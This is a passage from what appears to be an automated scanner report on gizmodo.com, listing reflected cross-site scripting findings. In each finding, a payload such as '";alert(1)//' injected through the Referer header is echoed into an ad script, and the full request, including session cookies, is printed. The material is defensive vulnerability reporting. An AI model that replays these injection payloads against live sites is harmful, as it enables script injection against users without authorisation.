Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:45 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:44 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:44 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:44 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:45 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:45 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=481976 at t=1292286525766413 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9973
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 129880

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<a href="/tag/youtube/?79109"><script>alert(1)</script>83f6ce91970=1&p=1" class="current_page">
...[SNIP]...

1.31. http://gizmodo.com/5694699/gizmodos-gift-guides-updated [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5694699/gizmodos-gift-guides-updated

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44512"%3balert(1)//3fbb0c65a0f was submitted in the Referer HTTP header. This input was echoed as 44512";alert(1)//3fbb0c65a0f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5694699/gizmodos-gift-guides-updated HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
Referer: http://www.google.com/search?hl=en&q=44512"%3balert(1)//3fbb0c65a0f

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:26:47 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:46 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:46 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:26:46 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: ad_url_search=search_63448d6c125e852721b4d25de209c61d; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=86036 at t=1292286407636037 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9991
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 99173

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
}

   google_ad_client = "pub-0457527031304647"; // substitute your client_id (pub-#)
   google_ad_channel = "gizmodo_sr_interrupt";
   google_ad_output = "js";
   google_max_num_ads = "3";
   google_hints = "44512";alert(1)//3fbb0c65a0f";
   google_ad_type = "text";
   google_image_size = "728x90";
   google_feedback = "on";
   
   jQuery('.contactinfo').hide();
   // -->
...[SNIP]...

1.32. http://gizmodo.com/5702651/control4-home-automation-review-access-anything-from-anywhere [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5702651/control4-home-automation-review-access-anything-from-anywhere

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d69b2"%3balert(1)//bed6325c225 was submitted in the Referer HTTP header. This input was echoed as d69b2";alert(1)//bed6325c225 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5702651/control4-home-automation-review-access-anything-from-anywhere HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
Referer: http://www.google.com/search?hl=en&q=d69b2"%3balert(1)//bed6325c225

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:26:03 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:02 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:02 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:26:02 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: ad_url_search=search_63448d6c125e852721b4d25de209c61d; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=104663 at t=1292286363471005 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9968
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 99744

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
}

   google_ad_client = "pub-0457527031304647"; // substitute your client_id (pub-#)
   google_ad_channel = "gizmodo_sr_interrupt";
   google_ad_output = "js";
   google_max_num_ads = "3";
   google_hints = "d69b2";alert(1)//bed6325c225";
   google_ad_type = "text";
   google_image_size = "728x90";
   google_feedback = "on";
   
   jQuery('.contactinfo').hide();
   // -->
...[SNIP]...

1.33. http://gizmodo.com/5711721/this-weeks-best-apps [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5711721/this-weeks-best-apps

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2bebd"%3balert(1)//eb779a04753 was submitted in the Referer HTTP header. This input was echoed as 2bebd";alert(1)//eb779a04753 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5711721/this-weeks-best-apps HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
Referer: http://www.google.com/search?hl=en&q=2bebd"%3balert(1)//eb779a04753

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:25:53 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:25:52 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:25:52 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:25:52 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: ad_url_search=search_63448d6c125e852721b4d25de209c61d; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=111882 at t=1292286353413642 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9929
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 96012

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
}

   google_ad_client = "pub-0457527031304647"; // substitute your client_id (pub-#)
   google_ad_channel = "gizmodo_sr_interrupt";
   google_ad_output = "js";
   google_max_num_ads = "3";
   google_hints = "2bebd";alert(1)//eb779a04753";
   google_ad_type = "text";
   google_image_size = "728x90";
   google_feedback = "on";
   
   jQuery('.contactinfo').hide();
   // -->
...[SNIP]...

1.34. http://gizmodo.com/5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a84eb"%3balert(1)//b0cf571a1a was submitted in the Referer HTTP header. This input was echoed as a84eb";alert(1)//b0cf571a1a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
Referer: http://www.google.com/search?hl=en&q=a84eb"%3balert(1)//b0cf571a1a

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:26:08 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:07 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:07 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:26:07 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: ad_url_search=search_63448d6c125e852721b4d25de209c61d; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=107231 at t=1292286368375738 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9978
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 93127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
}

   google_ad_client = "pub-0457527031304647"; // substitute your client_id (pub-#)
   google_ad_channel = "gizmodo_sr_interrupt";
   google_ad_output = "js";
   google_max_num_ads = "3";
   google_hints = "a84eb";alert(1)//b0cf571a1a";
   google_ad_type = "text";
   google_image_size = "728x90";
   google_feedback = "on";
   
   jQuery('.contactinfo').hide();
   // -->
...[SNIP]...

1.35. http://gizmodo.com/5712915/the-real-da-vinci-code-discovered [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5712915/the-real-da-vinci-code-discovered

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6c915"%3balert(1)//a01d90450f was submitted in the Referer HTTP header. This input was echoed as 6c915";alert(1)//a01d90450f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5712915/the-real-da-vinci-code-discovered HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
Referer: http://www.google.com/search?hl=en&q=6c915"%3balert(1)//a01d90450f

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:25:46 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:25:45 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:25:45 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:25:45 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: ad_url_search=search_63448d6c125e852721b4d25de209c61d; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=98278 at t=1292286346543749 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9965
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 92808

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
}

   google_ad_client = "pub-0457527031304647"; // substitute your client_id (pub-#)
   google_ad_channel = "gizmodo_sr_interrupt";
   google_ad_output = "js";
   google_max_num_ads = "3";
   google_hints = "6c915";alert(1)//a01d90450f";
   google_ad_type = "text";
   google_image_size = "728x90";
   google_feedback = "on";
   
   jQuery('.contactinfo').hide();
   // -->
...[SNIP]...

1.36. http://gizmodo.com/5712981/commenter-qa-were-here-to-help [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5712981/commenter-qa-were-here-to-help

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c7ce"%3balert(1)//e957f52fa1b was submitted in the Referer HTTP header. This input was echoed as 8c7ce";alert(1)//e957f52fa1b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5712981/commenter-qa-were-here-to-help HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
